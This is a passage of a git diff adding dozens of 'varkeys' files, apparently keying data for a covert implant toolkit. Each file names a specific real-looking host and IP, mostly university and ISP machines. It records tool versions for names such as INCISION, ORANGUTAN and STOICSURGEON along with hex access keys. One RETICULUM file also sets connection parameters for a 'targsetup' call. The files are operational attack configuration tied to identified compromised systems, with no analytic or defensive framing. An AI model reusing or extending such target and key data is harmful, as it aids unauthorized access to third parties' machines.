b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/incision b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/incision new file mode 100644 index 0000000..c3e210a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="b29e4b51 88af0b1f 79067ede" +} diff --git a/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/jackladder b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/jackladder new file mode 100644 index 0000000..f453331 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/orangutan b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/orangutan new file mode 100644 index 0000000..a24cc2d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="8e3df517 270f07d2 e1cb3e72" +} diff --git a/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/patchicillin b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/patchicillin new file mode 100644 index 0000000..411cee8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="32755e75 e472a634 6ecdc91a" +} diff --git a/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/sidetrack b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/sidetrack new file mode 100644 index 0000000..534aa6f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tologorri.grupocorreo.es___194.30.32.109/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___tologorri.grupocorreo.es___194.30.32.109___20060612-165029() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="bb05c940 cb86f6c2 724b6f89 6fc70557" +} diff --git a/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/incision b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/incision new file mode 100644 index 0000000..9706069 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___tuapewa.polytechnic.edu.na___196.31.225.2___20050331-163949() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="0c70d658 a342495a dd4e802c" +} diff --git a/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/orangutan b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/orangutan new file mode 100644 index 0000000..39a6987 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___tuapewa.polytechnic.edu.na___196.31.225.2___20050331-163949() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="e17f7c12 b0e5524d 5120fe87" +} diff --git a/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/patchicillin b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/patchicillin new file mode 100644 index 0000000..f5c9879 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___tuapewa.polytechnic.edu.na___196.31.225.2___20050331-163949() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="45c0a789 b9049f0d d076bb3e" +} diff --git a/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/sidetrack b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/sidetrack new file mode 100644 index 0000000..a67698c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/tuapewa.polytechnic.edu.na___196.31.225.2/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___tuapewa.polytechnic.edu.na___196.31.225.2___20040929-200614() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="025cbab5 06a81f58 00c012d1 69b6059f" +} diff --git a/Linux/bin/varkeys/pitchimpair/twins.ee.nctu.edu.tw___140.113.212.26/dewdrop b/Linux/bin/varkeys/pitchimpair/twins.ee.nctu.edu.tw___140.113.212.26/dewdrop new file mode 100644 index 0000000..0237d8d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/twins.ee.nctu.edu.tw___140.113.212.26/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___twins.ee.nctu.edu.tw___140.113.212.26___20061116-122206() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/twins.ee.nctu.edu.tw___140.113.212.26/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/twins.ee.nctu.edu.tw___140.113.212.26/stoicsurgeon new file mode 100644 index 0000000..529c2bc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/twins.ee.nctu.edu.tw___140.113.212.26/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___twins.ee.nctu.edu.tw___140.113.212.26___20061116-122206() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/dewdrop b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/dewdrop new file mode 100644 index 0000000..c806593 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/incision b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/incision new file mode 100644 index 0000000..dd137bc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="2f2882df 9c1d23ac 078a7a09" +} diff --git a/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/jackladder b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/jackladder new file mode 100644 index 0000000..d8dcdd9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/orangutan b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/orangutan new file mode 100644 index 0000000..0b87092 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="9e3532eb 7d8c0c68 1124cbcd" +} diff --git a/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/patchicillin b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/patchicillin new file mode 100644 index 0000000..d5709a9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="933bbc81 f0cfb9af 26257147" +} diff --git a/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/sidetrack b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/sidetrack new file mode 100644 index 0000000..735ef17 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/uji.kyoyo-u.ac.jp___133.3.5.33/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___uji.kyoyo-u.ac.jp___133.3.5.33___20060425-140836() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="c105ebf5 0057d874 54f65abe 43d72e5e" +} diff --git a/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/incision b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/incision new file mode 100644 index 0000000..17bab84 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ultra10.nanya.edu.tw___203.68.40.6___20041227-123134() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="df07f4a6 014490d7 43c80581" +} diff --git a/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/orangutan b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/orangutan new file mode 100644 index 0000000..209a9e6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ultra10.nanya.edu.tw___203.68.40.6___20041227-123134() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="fc0bd178 0dedd2a9 3bcdbf2b" +} diff --git a/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/patchicillin b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/patchicillin new file mode 100644 index 0000000..9479ea7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ultra10.nanya.edu.tw___203.68.40.6___20041227-123134() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="f076a0b8 962e0b2a 64944b66" +} diff --git a/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/sidetrack b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/sidetrack new file mode 100644 index 0000000..fde54ea --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ultra10.nanya.edu.tw___203.68.40.6/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ultra10.nanya.edu.tw___203.68.40.6___20041227-123134() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="696625a0 f00af805 b4503a00 da2c8950" +} diff --git a/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/dewdrop b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/dewdrop new file mode 100644 index 0000000..b8c08cc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___unknown.unknown___125.10.31.145___20060811-141834() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/incision b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/incision new file mode 100644 index 0000000..f982bb8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___unknown.unknown___125.10.31.145___20060811-141834() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="5fee1cde b7151aba ad895e9c" +} diff --git a/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/jackladder b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/jackladder new file mode 100644 index 0000000..473823d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___unknown.unknown___125.10.31.145___20060811-141834() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/stoicsurgeon new file mode 100644 index 0000000..3dd483e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/unknown.unknown___125.10.31.145/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___unknown.unknown___125.10.31.145___20060811-141834() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/utc-web.utc21.co.kr___211.40.103.194/dewdrop b/Linux/bin/varkeys/pitchimpair/utc-web.utc21.co.kr___211.40.103.194/dewdrop new file mode 100644 index 0000000..de76ea7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/utc-web.utc21.co.kr___211.40.103.194/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___utc-web.utc21.co.kr___211.40.103.194___20060908-140806() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/utc-web.utc21.co.kr___211.40.103.194/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/utc-web.utc21.co.kr___211.40.103.194/stoicsurgeon new file mode 100644 index 0000000..a3aafaa --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/utc-web.utc21.co.kr___211.40.103.194/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___utc-web.utc21.co.kr___211.40.103.194___20060908-140806() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/v243.scl.kyoto-u.ac.jp___133.3.5.30/dewdrop b/Linux/bin/varkeys/pitchimpair/v243.scl.kyoto-u.ac.jp___133.3.5.30/dewdrop new file mode 100644 index 0000000..b967db1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v243.scl.kyoto-u.ac.jp___133.3.5.30/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___v243.scl.kyoto-u.ac.jp___133.3.5.30___20070731-142909() { + ## DEWDROP Version:DEWDROP v3.0.2.1 sparc-sun-solaris OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/v243.scl.kyoto-u.ac.jp___133.3.5.30/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/v243.scl.kyoto-u.ac.jp___133.3.5.30/stoicsurgeon new file mode 100644 index 0000000..a10dcd0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v243.scl.kyoto-u.ac.jp___133.3.5.30/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___v243.scl.kyoto-u.ac.jp___133.3.5.30___20070731-142909() { + ## STOICSURGEON Version:STOICSURGEON v1.1.20.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/dewdrop b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/dewdrop new file mode 100644 index 0000000..6239690 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___v244.kyoyo-u.ac.jp___133.3.5.33___20070323-094310() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/incision b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/incision new file mode 100644 index 0000000..27211e9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___v244.kyoyo-u.ac.jp___133.3.5.33___20070323-094310() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1d6e72df 4c5f1c9f c4370584" +} diff --git a/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/jackladder b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/jackladder new file mode 100644 index 0000000..d7c86e2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___v244.kyoyo-u.ac.jp___133.3.5.33___20070323-094310() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/orangutan b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/orangutan new file mode 100644 index 0000000..7348ef2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___v244.kyoyo-u.ac.jp___133.3.5.33___20070323-094310() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="11e7f39d 6b89cf9a 78a5434a" +} diff --git a/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/patchicillin b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/patchicillin new file mode 100644 index 0000000..be923f0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v244.kyoyo-u.ac.jp___133.3.5.33/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___v244.kyoyo-u.ac.jp___133.3.5.33___20070323-094310() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="dd20d2fe 25fe9922 7a709c8c" +} diff --git a/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/dewdrop b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/dewdrop new file mode 100644 index 0000000..a81d683 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___v246.kyoyo-u.ac.jp___133.3.5.2___20070323-104937() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/incision b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/incision new file mode 100644 index 0000000..6ae1916 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___v246.kyoyo-u.ac.jp___133.3.5.2___20070323-104937() { + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="dfa4c164 0eb005f3 82a38dc8" +} diff --git a/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/jackladder b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/jackladder new file mode 100644 index 0000000..4035610 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___v246.kyoyo-u.ac.jp___133.3.5.2___20070323-104937() { + ## JACKLADDER Version:2.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/orangutan b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/orangutan new file mode 100644 index 0000000..5cb855f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___v246.kyoyo-u.ac.jp___133.3.5.2___20070323-104937() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="2b58bbaf d276308b 96740e7b" +} diff --git a/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/patchicillin b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/patchicillin new file mode 100644 index 0000000..97a82be --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/v246.kyoyo-u.ac.jp___133.3.5.2/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___v246.kyoyo-u.ac.jp___133.3.5.2___20070323-104937() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="84bf3e47 79bb446a eae2bcb3" +} diff --git a/Linux/bin/varkeys/pitchimpair/vnet3.vub.ac.be___134.184.15.13/dewdrop b/Linux/bin/varkeys/pitchimpair/vnet3.vub.ac.be___134.184.15.13/dewdrop new file mode 100644 index 0000000..4b928af --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/vnet3.vub.ac.be___134.184.15.13/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___vnet3.vub.ac.be___134.184.15.13___20070809-124903() { + ## DEWDROP Version:DEWDROP v3.0.2.1 sparc-sun-solaris OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/vnet3.vub.ac.be___134.184.15.13/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/vnet3.vub.ac.be___134.184.15.13/stoicsurgeon new file mode 100644 index 0000000..83d9bda --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/vnet3.vub.ac.be___134.184.15.13/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___vnet3.vub.ac.be___134.184.15.13___20070809-124903() { + ## STOICSURGEON Version:STOICSURGEON v1.2.3.2 sparc-sun-solaris2.10 OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/vsn1radius1.vsn1.net.in___202.54.4.61/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/vsn1radius1.vsn1.net.in___202.54.4.61/stoicsurgeon new file mode 100644 index 0000000..97214c4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/vsn1radius1.vsn1.net.in___202.54.4.61/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___vsn1radius1.vsn1.net.in___202.54.4.61___20060721-144555() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70/dewdrop b/Linux/bin/varkeys/pitchimpair/vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70/dewdrop new file mode 100644 index 0000000..280dc0f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70___20070606-123155() { + ## DEWDROP Version:DEWDROP v2.0.3.2 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70/stoicsurgeon new file mode 100644 index 0000000..1350f3b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___vsnl-navis.emc-sec.vsnl.net.in___202.54.49.70___20070606-123155() { + ## STOICSURGEON Version:STOICSURGEON v1.1.24.3 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/vsnlradius1.vsnl.net.in___202.54.4.61/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/vsnlradius1.vsnl.net.in___202.54.4.61/stoicsurgeon new file mode 100644 index 0000000..107b37a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/vsnlradius1.vsnl.net.in___202.54.4.61/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___vsnlradius1.vsnl.net.in___202.54.4.61___20060721-155511() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/incision b/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/incision new file mode 100644 index 0000000..aeb0f46 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/incision @@ -0,0 +1,4 @@ +GRAPEUNIQUE___war.rkts.com.tr___195.142.144.125___20011101-171614() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="70ef9240 4eb54947 fc951434" +} diff --git a/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/orangutan b/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/orangutan new file mode 100644 index 0000000..be7a9d2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/orangutan @@ -0,0 +1,4 @@ +GRAPEUNIQUE___war.rkts.com.tr___195.142.144.125___20011101-171614() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="47b3fe12 7405d773 ff423dcc" +} diff --git a/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/reticulum b/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/reticulum new file mode 100644 index 0000000..b746a43 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/war.rkts.com.tr___195.142.144.125/reticulum @@ -0,0 +1,20 @@ +GRAPEUNIQUE___war.rkts.com.tr___195.142.144.125___20011101-171614() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host war.rkts.com.tr + set ip 195.142.144.125 + set hostType "Solaris27" + set len 476 + set cv0 b18aedc2 + set cv1 33ca08ea + set cv2 c9af0874 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git 